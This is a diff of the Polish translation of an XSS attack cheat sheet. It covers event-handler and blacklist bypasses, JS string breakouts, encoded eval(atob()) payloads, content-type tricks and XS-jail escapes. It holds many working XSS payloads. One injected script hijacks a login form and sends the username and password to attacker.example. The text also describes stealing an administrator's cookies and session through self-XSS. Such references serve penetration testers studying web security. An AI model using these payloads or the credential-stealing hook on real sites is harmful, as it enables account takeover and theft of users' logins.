+Zauważ, że jeśli spróbujesz **użyć obu** `URLencode + HTMLencode` w dowolnej kolejności aby zakodować **payload** to **nie** **zadziała**, ale możesz **mieszać je wewnątrz payload**.
 
-**Użycie Hex i Octal encode z `javascript:`**
+**Używanie Hex i Octal encode z `javascript:`**
 
-Możesz użyć **Hex** i **Octal encode** wewnątrz atrybutu `src` elementu `iframe` (przynajmniej) aby zadeklarować **HTML tags to execute JS**:
+Możesz użyć **Hex** i **Octal encode** wewnątrz atrybutu `src` elementu `iframe` (przynajmniej) aby zadeklarować **tagi HTML do wykonania JS**:
 ```javascript
 //Encoded: <svg onload=alert(1)>
 // This WORKS
@@ -384,17 +385,17 @@ Możesz użyć **Hex** i **Octal encode** wewnątrz atrybutu `src` elementu `ifr
 ```javascript
 <a target="_blank" rel="opener"
 ```
-Jeśli możesz wstrzyknąć dowolny URL w dowolny tag **`<a href=`** zawierający atrybuty **`target="_blank" and rel="opener"`**, sprawdź **następującą stronę, aby wykorzystać to zachowanie**:
+Jeśli możesz wstrzyknąć dowolny URL do dowolnego znacznika **`<a href=`** który zawiera atrybuty **`target="_blank" and rel="opener"`**, sprawdź **następującą stronę, aby wykorzystać to zachowanie**:
 
 
 {{#ref}}
 ../reverse-tab-nabbing.md
 {{#endref}}
 
-### Bypass obsługiwaczy zdarzeń "on"
+### Omijanie 'on' event handlerów
 
-Przede wszystkim sprawdź tę stronę ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) pod kątem przydatnych **"on" obsługiwaczy zdarzeń**.\
-W przypadku, gdy istnieje jakaś blacklist uniemożliwiająca utworzenie tych obsługiwaczy zdarzeń, możesz spróbować następujących obejść:
+Przede wszystkim sprawdź tę stronę ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) w poszukiwaniu przydatnych **"on" event handlerów**.\
+W przypadku, gdy jakaś czarna lista uniemożliwia ci utworzenie tych handlerów, możesz spróbować następujących obejść:
 ```javascript
 <svg onload%09=alert(1)> //No safari
 <svg %09onload=alert(1)>
@@ -430,15 +431,15 @@ onbeforetoggle="alert(2)" />
 <button popovertarget="newsletter">Subscribe to newsletter</button>
 <div popover id="newsletter">Newsletter popup</div>
 ```
-Z [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Możesz wykonać **XSS payload wewnątrz atrybutu hidden**, pod warunkiem że potrafisz **nakłonić** **victim** do naciśnięcia **kombinacji klawiszy**. W Firefox na Windows/Linux kombinacja to **ALT+SHIFT+X**, a na OS X to **CTRL+ALT+X**. Możesz określić inną kombinację, używając innego klawisza w atrybucie access key. Oto wektor:
+Z [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Możesz uruchomić **XSS payload inside a hidden attribute**, pod warunkiem że potrafisz **persuade** **the victim** do naciśnięcia **the key combination**. W Firefoxie na Windows/Linux kombinacja klawiszy to **ALT+SHIFT+X**, a na OS X to **CTRL+ALT+X**. Możesz określić inną kombinację klawiszy, używając innego klawisza w access key attribute. Oto wektor:
 ```html
 <input type="hidden" accesskey="X" onclick="alert(1)">
 ```
-**XSS payload będzie wyglądał mniej więcej tak: `" accesskey="x" onclick="alert(1)" x="`**
+**Ten XSS payload będzie wyglądać mniej więcej tak: `" accesskey="x" onclick="alert(1)" x="`**
 
 ### Blacklist Bypasses
 
-Kilka sztuczek z wykorzystaniem różnych enkodingów zostało już omówionych w tej sekcji. Wróć, aby dowiedzieć się, gdzie możesz użyć:
+Kilka sztuczek z użyciem różnych kodowań zostało już omówionych w tej sekcji. Wróć, aby dowiedzieć się, gdzie możesz je zastosować:
 
 - **HTML encoding (HTML tags)**
 - **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
@@ -452,23 +453,23 @@ Przeczytaj the[ Blacklist Bypasses of the previous section](#blacklist-bypasses)
 
 **Bypasses for JavaScript code**
 
-Przeczytaj J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
+Przeczytaj the [JavaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
 
 ### CSS-Gadgets
 
-Jeśli znalazłeś **XSS w bardzo małej części** serwisu, która wymaga jakiejś interakcji (np. mały link w stopce z elementem onmouseover), możesz spróbować **zmodyfikować przestrzeń zajmowaną przez ten element**, aby zmaksymalizować prawdopodobieństwo wywołania linku.
+Jeśli znalazłeś **XSS w bardzo małej części** strony, która wymaga jakiejś interakcji (może mały link w stopce z elementem onmouseover), możesz spróbować **zmodyfikować przestrzeń, którą zajmuje ten element**, aby zmaksymalizować prawdopodobieństwo wywołania linku.
 
-Na przykład możesz dodać do elementu stylowanie takie jak: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
+Na przykład, możesz dodać style do elementu takie jak: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
 
-Ale jeśli WAF filtruje atrybut style, możesz użyć CSS Styling Gadgets, więc jeśli znajdziesz na przykład
+Jednak jeśli WAF filtruje atrybut style, możesz użyć CSS Styling Gadgets, więc jeśli znajdziesz na przykład
 
 > .test {display:block; color: blue; width: 100%\}
 
-oraz
+i
 
 > \#someid {top: 0; font-family: Tahoma;}
 
-Teraz możesz zmodyfikować nasz link i doprowadzić go do postaci
+Teraz możesz zmodyfikować nasz link i zmienić go do postaci
 
 > \<a href="" id=someid class=test onclick=alert() a="">
 
@@ -476,19 +477,19 @@ Ten trik pochodzi z [https://medium.com/@skavans\_/improving-the-impact-of-a-mou
 
 ## Injecting inside JavaScript code
 
-W tych przypadkach twój **input** zostanie **odzwierciedlony wewnątrz kodu JS** w pliku `.js` lub pomiędzy tagami `<script>...</script>`, albo w eventach HTML, które mogą wykonać kod JS, lub w atrybutach akceptujących protokół `javascript:`.
+W takich przypadkach twój **input** zostanie **odzwierciedlony wewnątrz kodu JS** pliku `.js` lub pomiędzy tagami `<script>...</script>`, albo w eventach HTML które mogą wykonać kod JS lub w atrybutach akceptujących protokół `javascript:`.
 
-### Escaping \<script> tag
+### Ucieczka z tagu \<script>
 
-Jeśli twój kod jest wstawiony wewnątrz `<script> [...] var input = 'reflected data' [...] </script>`, możesz w prosty sposób **uciec, zamykając tag `<script>`**:
+Jeśli twój kod jest wstawiony wewnątrz `<script> [...] var input = 'reflected data' [...] </script>` możesz łatwo **uciec z zamknięcia `<script>`** tagu:
 ```javascript
 </script><img src=1 onerror=alert(document.domain)>
 ```
-Zauważ, że w tym przykładzie **nawet nie zamknęliśmy pojedynczego apostrofu**. Dzieje się tak, ponieważ **parsowanie HTML jest wykonywane najpierw przez przeglądarkę**, które obejmuje identyfikację elementów strony, w tym bloków script. Parsowanie JavaScriptu w celu zrozumienia i wykonania osadzonych skryptów jest wykonywane dopiero później.
+Zauważ, że w tym przykładzie **nawet nie zamknęliśmy pojedynczego apostrofu**. Dzieje się tak, ponieważ **parsowanie HTML jest wykonywane najpierw przez przeglądarkę**, co obejmuje identyfikację elementów strony, w tym bloków script. Parsowanie JavaScriptu w celu zrozumienia i wykonania osadzonych skryptów odbywa się dopiero później.
 
-### Wewnątrz kodu JS
+### W kodzie JS
 
-Jeśli `<>` są sanitizowane, nadal możesz **uciec z łańcucha** w miejscu, gdzie twoje dane wejściowe są **osadzone**, i **wykonać dowolny JS**. Ważne jest, aby **poprawić składnię JS**, ponieważ jeśli wystąpią błędy, kod JS nie zostanie wykonany:
+Jeśli `<>` są sanitizowane, nadal możesz **uciec z ciągu znaków** w miejscu, gdzie twoje wejście jest **osadzone**, i **wykonać dowolny kod JS**. Ważne jest, aby **poprawić składnię JS**, ponieważ jeśli pojawią się jakiekolwiek błędy, kod JS nie zostanie wykonany:
 ```
 '-alert(document.domain)-'
 ';alert(document.domain)//
@@ -496,25 +497,25 @@ Jeśli `<>` są sanitizowane, nadal możesz **uciec z łańcucha** w miejscu, gd
 ```
 #### JS-in-JS string break → inject → repair pattern
 
-Kiedy dane wejściowe użytkownika trafiają wewnątrz cytowanego łańcucha JavaScript (e.g., server-side echo into an inline script), możesz zakończyć łańcuch, wstrzyknąć kod i naprawić składnię, aby dalsze parsowanie było poprawne. Ogólny szkielet:
+Gdy dane wejściowe użytkownika trafiają do cytowanego JavaScript string (e.g., server-side echo into an inline script), możesz zakończyć string, wstrzyknąć kod i naprawić składnię, aby parsowanie pozostało poprawne. Ogólny szkielet:
 ```
 "            // end original string
 ;            // safely terminate the statement
 <INJECTION>  // attacker-controlled JS
 ; a = "      // repair and resume expected string/statement
 ```
-Przykładowy wzorzec URL, gdy podatny parametr jest odzwierciedlany w stringu JS:
+Przykładowy wzorzec URL, gdy podatny parametr jest odzwierciedlany w łańcuchu JS:
 ```
 ?param=test";<INJECTION>;a="
 ```
-To wykonuje złośliwy kod JS bez potrzeby modyfikowania kontekstu HTML (pure JS-in-JS). Połącz z blacklist bypasses poniżej, gdy filtry blokują słowa kluczowe.
+To wykonuje attacker JS bez potrzeby modyfikowania kontekstu HTML (czysty JS-in-JS). Połącz z blacklist bypasses poniżej, gdy filtry blokują słowa kluczowe.
 
-### Literały szablonowe ``
+### Template literals ``
 
-Aby konstruować **strings**, oprócz pojedynczych i podwójnych cudzysłowów, JS akceptuje także **backticks** **` `` `**. Są one znane jako template literals, ponieważ pozwalają na **embedded JS expressions** używając składni `${ ... }`.\  
-Jeśli więc okaże się, że Twój input jest **reflected** wewnątrz JS string używającego backticks, możesz wykorzystać składnię `${ ... }`, aby wykonać **arbitrary JS code**:
+Aby konstruować **strings**, oprócz pojedynczych i podwójnych cudzysłowów JS akceptuje także **backticks** **` `` `**. Jest to znane jako template literals, ponieważ pozwalają na **embedded JS expressions** używając składni `${ ... }`.\  
+Jeśli więc twoje dane wejściowe są **reflected** wewnątrz JS stringa używającego backticks, możesz nadużyć składni `${ ... }`, aby wykonać **arbitrary JS code**:
 
-Można to **wykorzystać** używając:
+This can be **abused** using:
 ```javascript
 ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
 ```
@@ -526,29 +527,29 @@ return loop
 }
 loop``
 ```
-### Encoded code execution
+### Zakodowane wykonywanie kodu
 ```html
 <script>\u0061lert(1)</script>
 <svg><script>alert&lpar;'1'&rpar;
 <svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
 <iframe srcdoc="<SCRIPT>alert(1)</iframe>">
 ```
-#### Deliverable payloads with eval(atob()) and scope nuances
+#### Deliverable payloads z eval(atob()) i niuanse dotyczące zakresu
 
-Aby skrócić URL-e i obejść proste filtry słów kluczowych, możesz zakodować swoją rzeczywistą logikę w base64 i wykonać ją za pomocą `eval(atob('...'))`. Jeśli proste filtrowanie słów kluczowych blokuje identyfikatory takie jak `alert`, `eval` lub `atob`, użyj identyfikatorów zapisanych jako Unicode-escape, które kompilują się identycznie w przeglądarce, ale omijają filtry dopasowujące ciągi znaków:
+Aby skrócić URL-e i ominąć naiwne filtry słów kluczowych, możesz zakodować w base64 swoją rzeczywistą logikę i wykonać ją za pomocą `eval(atob('...'))`. Jeśli proste filtrowanie słów kluczowych blokuje identyfikatory takie jak `alert`, `eval` lub `atob`, użyj identyfikatorów zapisanych z ucieczkami Unicode, które kompilują się identycznie w przeglądarce, ale omijają filtry dopasowujące łańcuchy:
 ```
 \u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
 \u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))
 ```
-Ważny niuans dotyczący zakresu: `const`/`let` deklarowane wewnątrz `eval()` mają zasięg blokowy i NIE tworzą zmiennych globalnych; nie będą dostępne dla późniejszych skryptów. Użyj dynamicznie wstrzykiwanego elementu `<script>`, aby zdefiniować globalne, niemożliwe do ponownego przypisania hooki, gdy to konieczne (np. aby przejąć obsługę formularza):
+Ważna uwaga dotycząca zakresu: `const`/`let` zadeklarowane wewnątrz `eval()` mają zakres blokowy i NIE tworzą globali; nie będą dostępne dla późniejszych skryptów. Użyj dynamicznie wstrzykiwanego elementu `<script>`, aby zdefiniować globalne, non-rebindable hooks, gdy jest to konieczne (e.g., to hijack a form handler):
 ```javascript
 var s = document.createElement('script');
 s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
 document.head.appendChild(s);
 ```
-Źródło: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
+Referencja: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
 
-### Unicode Encode — wykonywanie JS
+### Unicode Encode JS wykonanie
 ```javascript
 alert(1)
 alert(1)
@@ -556,7 +557,7 @@ alert(1)
 ```
 ### Techniki bypass blacklists w JavaScript
 
-**Strings**
+**Stringi**
 ```javascript
 "thisisastring"
 'thisisastrig'
@@ -573,7 +574,7 @@ String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
 atob("dGhpc2lzYXN0cmluZw==")
 eval(8680439..toString(30))(983801..toString(36))
 ```
-**Specjalne znaki ucieczki**
+**Specjalne sekwencje ucieczki**
 ```javascript
 "\b" //backspace
 "\f" //form feed
@@ -592,7 +593,7 @@ eval(8680439..toString(30))(983801..toString(36))
 <TAB>
 /**/
 ```
-**JavaScript komentarze (z** [**JavaScript Comments**](#javascript-comments) **sztuczka)**
+**JavaScript comments (z** [**JavaScript Comments**](#javascript-comments) **sztuczki)**
 ```javascript
 //This is a 1 line comment
 /* This is a multiline comment*/
@@ -600,7 +601,7 @@ eval(8680439..toString(30))(983801..toString(36))
 #!This is a 1 line comment, but "#!" must to be at the beggining of the first line
 -->This is a 1 line comment, but "-->" must to be at the beggining of the first line
 ```
-**JavaScript new lines (z** [**JavaScript new line**](#javascript-new-lines) **trick)**
+**JavaScript new lines (z** [**JavaScript new line**](#javascript-new-lines) **triku)**
 ```javascript
 //Javascript interpret as new line these chars:
 String.fromCharCode(10)
@@ -612,7 +613,7 @@ alert("//\u2028alert(1)") //0xe2 0x80 0xa8
 String.fromCharCode(8233)
 alert("//\u2029alert(1)") //0xe2 0x80 0xa9
 ```
-**Białe znaki w JavaScript**
+**Białe znaki JavaScript**
 ```javascript
 log=[];
 function funct(){}
@@ -777,8 +778,8 @@ top[8680439..toString(30)](1)
 ```
 ## **DOM vulnerabilities**
 
-There is **JS code** that is using **danych kontrolowanych przez atakującego w niebezpieczny sposób** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.\
-**Z powodu rozbudowania wyjaśnienia** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
+There is **JS code** that is using **unsafely data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.\
+**Z uwagi na rozszerzenie wyjaśnienia** [**DOM vulnerabilities zostały przeniesione na tę stronę**](dom-xss.md)**:**
 
 
 {{#ref}}
@@ -786,36 +787,47 @@ dom-xss.md
 {{#endref}}
 
 Znajdziesz tam szczegółowe **wyjaśnienie czym są DOM vulnerabilities, jak są wywoływane i jak je eksploatować**.\
-Nie zapomnij też, że **na końcu wspomnianego wpisu** znajdziesz wyjaśnienie dotyczące [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
+Also, don't forget that **at the end of the mentioned post** you can find an explanation about [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
 
 ### Upgrading Self-XSS
 
 ### Cookie XSS
 
-If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a **vulnerable subdomain to XSS**, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:
+If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a **podatną subdomenę na XSS**, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:
 
 
 {{#ref}}
 ../hacking-with-cookies/cookie-tossing.md
 {{#endref}}
 
-You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
+You can find a great abuse of this technique in [**tym wpisie na blogu**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
 
-### Wysłanie swojej sesji do administratora
+### Sending your session to the admin
 
-Może użytkownik udostępnić swój profil administratorowi, a jeśli self XSS znajduje się w profilu użytkownika i administrator go otworzy, uruchomi podatność.
+Może użytkownik udostępnić swój profil adminowi i jeśli self XSS znajduje się w profilu użytkownika, a admin go otworzy, uruchomi podatność.
 
 ### Session Mirroring
 
-Jeśli znajdziesz self XSS, a strona ma **session mirroring for administrators**, na przykład umożliwiające klientom prośbę o pomoc i w celu udzielenia pomocy administrator widzi to, co widzisz w swojej sesji, ale z jego sesji.
+If you find some self XSS and the web page have a **session mirroring for administrators**, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.
 
-Możesz sprawić, że **administrator uruchomi Twój self XSS** i ukraść jego cookies/sesję.
+You could make the **administrator trigger your self XSS** and steal his cookies/session.
 
 ## Other Bypasses
 
+### Bypassing sanitization via WASM linear-memory template overwrite
+
+When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as "<article><p>%.*s</p></article>" to "<img src=1 onerror=%.*s>" turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.
+
+Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:
+
+{{#ref}}
+wasm-linear-memory-template-overwrite-xss.md
+{{#endref}}
+
+
 ### Normalised Unicode
 
-Możesz sprawdzić, czy **reflected values** są **unicode normalized** po stronie serwera (lub po stronie klienta) i wykorzystać tę funkcjonalność do obejścia zabezpieczeń. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
+You could check is the **reflected values** are being **unicode normalized** in the server (or in the client side) and abuse this functionality to bypass protections. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
 
 ### PHP FILTER_VALIDATE_EMAIL flag Bypass
 ```javascript
@@ -823,16 +835,16 @@ Możesz sprawdzić, czy **reflected values** są **unicode normalized** po stron
 ```
 ### Ruby-On-Rails bypass
 
-Z powodu **RoR mass assignment** cudzysłowy są wstawiane do HTML, a ograniczenie dotyczące cudzysłowów zostaje ominięte i dodatkowe pola (onfocus) mogą zostać dodane wewnątrz tagu.\
+Z powodu **RoR mass assignment** w HTML wstawiane są cudzysłowy, przez co ograniczenie cudzysłowów jest obchodzone i dodatkowe pola (onfocus) mogą zostać dodane wewnątrz tagu.\
 Przykład formularza ([from this report](https://hackerone.com/reports/709336)), jeśli wyślesz payload:
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
 ```
-Para "Key","Value" zostanie wyświetlona w następujący sposób:
+Para "Key","Value" zostanie zwrócona w następujący sposób:
 ```
 {" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
 ```
-Wówczas atrybut onfocus zostanie wstawiony i nastąpi XSS.
+Wtedy zostanie wstawiony atrybut onfocus i nastąpi XSS.
 
 ### Specjalne kombinacje
 ```html
@@ -864,20 +876,20 @@ Wówczas atrybut onfocus zostanie wstawiony i nastąpi XSS.
 window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
 document['default'+'View'][`\u0061lert`](3)
 ```
-### XSS z wstrzyknięciem nagłówka w odpowiedzi 302
+### XSS with header injection in a 302 response
 
-Jeśli odkryjesz, że możesz **inject headers in a 302 Redirect response** możesz spróbować **make the browser execute arbitrary JavaScript**. To **nie jest trywialne**, ponieważ nowoczesne przeglądarki nie interpretują ciała odpowiedzi HTTP, jeśli kod statusu odpowiedzi to 302, więc samo cross-site scripting payload jest bezużyteczne.
+Jeśli odkryjesz, że możesz **inject headers in a 302 Redirect response** możesz spróbować **make the browser execute arbitrary JavaScript**. To **nie jest trywialne**, ponieważ nowoczesne przeglądarki nie interpretują ciała odpowiedzi HTTP gdy status code odpowiedzi HTTP to 302, więc sam cross-site scripting payload jest bezużyteczny.
 
-W [**this report**](https://www.gremwell.com/firefox-xss-302) i w [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) możesz przeczytać, jak przetestować kilka protokołów wewnątrz Location header i sprawdzić, czy któryś z nich pozwala przeglądarce na przejrzenie i wykonanie XSS payload wewnątrz ciała odpowiedzi.\
+W [**this report**](https://www.gremwell.com/firefox-xss-302) i [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) możesz przeczytać, jak testować różne protokoły w Location header i sprawdzić, czy któryś z nich pozwala przeglądarce na zbadanie i wykonanie XSS payload wewnątrz body.\
 Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
 
 ### Tylko litery, cyfry i kropki
 
-Jeśli możesz wskazać **callback**, który javascript ma **wykonać**, ograniczony do tych znaków. [**Read this section of this post**](#javascript-function) aby dowiedzieć się, jak nadużyć tego zachowania.
+Jeśli możesz wskazać **callback**, który javascript ma zamiar **execute**, ograniczony do tych znaków. [**Read this section of this post**](#javascript-function) aby dowiedzieć się, jak abuse tego zachowania.
 
-### Valid `<script>` Content-Types to XSS
+### Prawidłowe Content-Types `<script>` dla XSS
 
-(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Jeśli spróbujesz załadować skrypt z **content-type** takim jak `application/octet-stream`, Chrome wyrzuci następujący błąd:
+(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Jeśli próbujesz załadować skrypt z **content-type** takim jak `application/octet-stream`, Chrome zgłosi następujący błąd:
 
 > Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
 
@@ -903,16 +915,16 @@ const char* const kSupportedJavascriptTypes[] = {
 };
 
 ```
-### Typy skryptów do XSS
+### Typy skryptów w XSS
 
-(Na podstawie [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Które typy można wskazać, aby załadować skrypt?
+(Źródło: [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Które typy można wskazać, by załadować skrypt?
 ```html
 <script type="???"></script>
 ```
 Odpowiedź to:
 
-- **module** (domyślny, nic do wyjaśnienia)
-- [**webbundle**](https://web.dev/web-bundles/): Web Bundles to funkcja, która pozwala zapakować wiele danych (HTML, CSS, JS…) w jeden plik **`.wbn`**.
+- **module** (domyślnie, nic do wyjaśnienia)
+- [**webbundle**](https://web.dev/web-bundles/): Web Bundles to funkcja, która pozwala spakować różne dane (HTML, CSS, JS…) w plik **`.wbn`**.
 ```html
 <script type="webbundle">
 {
@@ -922,7 +934,7 @@ Odpowiedź to:
 </script>
 The resources are loaded from the source .wbn, not accessed via HTTP
 ```
-- [**importmap**](https://github.com/WICG/import-maps)**:** Pozwala ulepszyć składnię importu
+- [**importmap**](https://github.com/WICG/import-maps)**:** Pozwala ulepszyć składnię importów
 ```html
 <script type="importmap">
 {
@@ -939,9 +951,9 @@ import moment from "moment"
 import { partition } from "lodash"
 </script>
 ```
-To zachowanie zostało użyte w [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) aby przypisać bibliotekę do eval; nadużycie tego może wywołać XSS.
+To zachowanie zostało użyte w [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) do remapowania biblioteki na eval — jego nadużycie może wywołać XSS.
 
-- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ta funkcja ma na celu przede wszystkim rozwiązanie niektórych problemów spowodowanych wstępnym renderowaniem. Działa w następujący sposób:
+- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ta funkcja ma głównie rozwiązywać pewne problemy spowodowane przez pre-rendering. Działa w ten sposób:
 ```html
 <script type="speculationrules">
 {
@@ -957,24 +969,24 @@ To zachowanie zostało użyte w [**this writeup**](https://github.com/zwade/yaca
 }
 </script>
 ```
-### Web Content-Types umożliwiające XSS
+### Web Content-Types powodujące XSS
 
-(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Następujące content types mogą wykonać XSS we wszystkich przeglądarkach:
+(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Następujące content types mogą wykonywać XSS we wszystkich przeglądarkach:
 
 - text/html
 - application/xhtml+xml
 - application/xml
 - text/xml
 - image/svg+xml
-- text/plain (?? not in the list but I think I saw this in a CTF)
-- application/rss+xml (off)
-- application/atom+xml (off)
+- text/plain (?? nie na liście, ale chyba widziałem to w CTF)
+- application/rss+xml (wyłączone)
+- application/atom+xml (wyłączone)
 
-W innych przeglądarkach inne **`Content-Types`** mogą być użyte do wykonania dowolnego JS, sprawdź: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
+W innych przeglądarkach inne **`Content-Types`** mogą być użyte do wykonania dowolnego JS, zobacz: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
 
 ### xml Content Type
 
-Jeśli strona zwraca content-type text/xml, możliwe jest wskazanie namespace i wykonanie dowolnego JS:
+Jeśli strona zwraca text/xml content-type, możliwe jest określenie namespace i wykonanie dowolnego JS:
 ```xml
 <xml>
 <text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@@ -982,11 +994,11 @@ Jeśli strona zwraca content-type text/xml, możliwe jest wskazanie namespace i
 
 <!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
 ```
-### Specjalne wzorce zastępowania
+### Specjalne wzorce zamiany
 
-Gdy używane jest coś takiego jak **`"some {{template}} data".replace("{{template}}", <user_input>)`**, atakujący może użyć [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) żeby spróbować obejść niektóre zabezpieczenia: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
+Kiedy używa się czegoś takiego jak **`"some {{template}} data".replace("{{template}}", <user_input>)`**. Atakujący może użyć [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) żeby spróbować obejść niektóre zabezpieczenia: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
 
-Na przykład w [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), użyto tego do ucieczki z ograniczeń ciągu JSON umieszczonego wewnątrz skryptu i wykonania dowolnego kodu.
+Na przykład w [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) użyto tego, aby escape'ować ciąg JSON wewnątrz skryptu i wykonać arbitralny kod.
 
 ### Chrome Cache to XSS
 
@@ -997,7 +1009,7 @@ chrome-cache-to-xss.md
 
 ### XS Jails Escape
 
-Jeśli masz do dyspozycji tylko ograniczony zestaw znaków, sprawdź te inne poprawne rozwiązania dla problemów XSJail:
+Jeśli masz do dyspozycji tylko ograniczony zestaw chars, sprawdź te inne poprawne rozwiązania problemów z XSJail:
 ```javascript
 // eval + unescape + regex
 eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@@ -1028,22 +1040,22 @@ constructor(source)()
 // For more uses of with go to challenge misc/CaaSio PSE in
 // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
 ```
-Jeśli **wszystko jest undefined** przed wykonaniem niezaufanego kodu (jak w [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), możliwe jest wygenerowanie przydatnych obiektów "z niczego", aby wykorzystać wykonanie dowolnego niezaufanego kodu:
+Jeśli **wszystko jest undefined** przed wykonaniem niezaufanego kodu (jak w [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), możliwe jest wygenerowanie użytecznych obiektów "z niczego" w celu wykorzystania wykonywania dowolnego niezaufanego kodu:
 
 - Używając import()
 ```javascript
 // although import "fs" doesn’t work, import('fs') does.
 import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
 ```
-- Pośredni dostęp do `require`
+- Dostęp do `require` pośrednio
 
-[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduły są opakowywane przez Node.js w funkcję, w następujący sposób:
+[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduły są przez Node.js opakowywane wewnątrz funkcji, w ten sposób:
 ```javascript
 ;(function (exports, require, module, __filename, __dirname) {
 // our actual module code
 })
 ```
-Dlatego, jeśli z tego modułu możemy **wywołać inną funkcję**, możliwe jest użycie `arguments.callee.caller.arguments[1]` z tej funkcji, aby uzyskać dostęp do **`require`**:
+Zatem, jeśli z tego modułu możemy **wywołać inną funkcję**, możliwe jest użycie `arguments.callee.caller.arguments[1]` z tej funkcji, aby uzyskać dostęp do **`require`**:
 ```javascript
 ;(function () {
 return arguments.callee.caller.arguments[1]("fs").readFileSync(
@@ -1052,7 +1064,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
 )
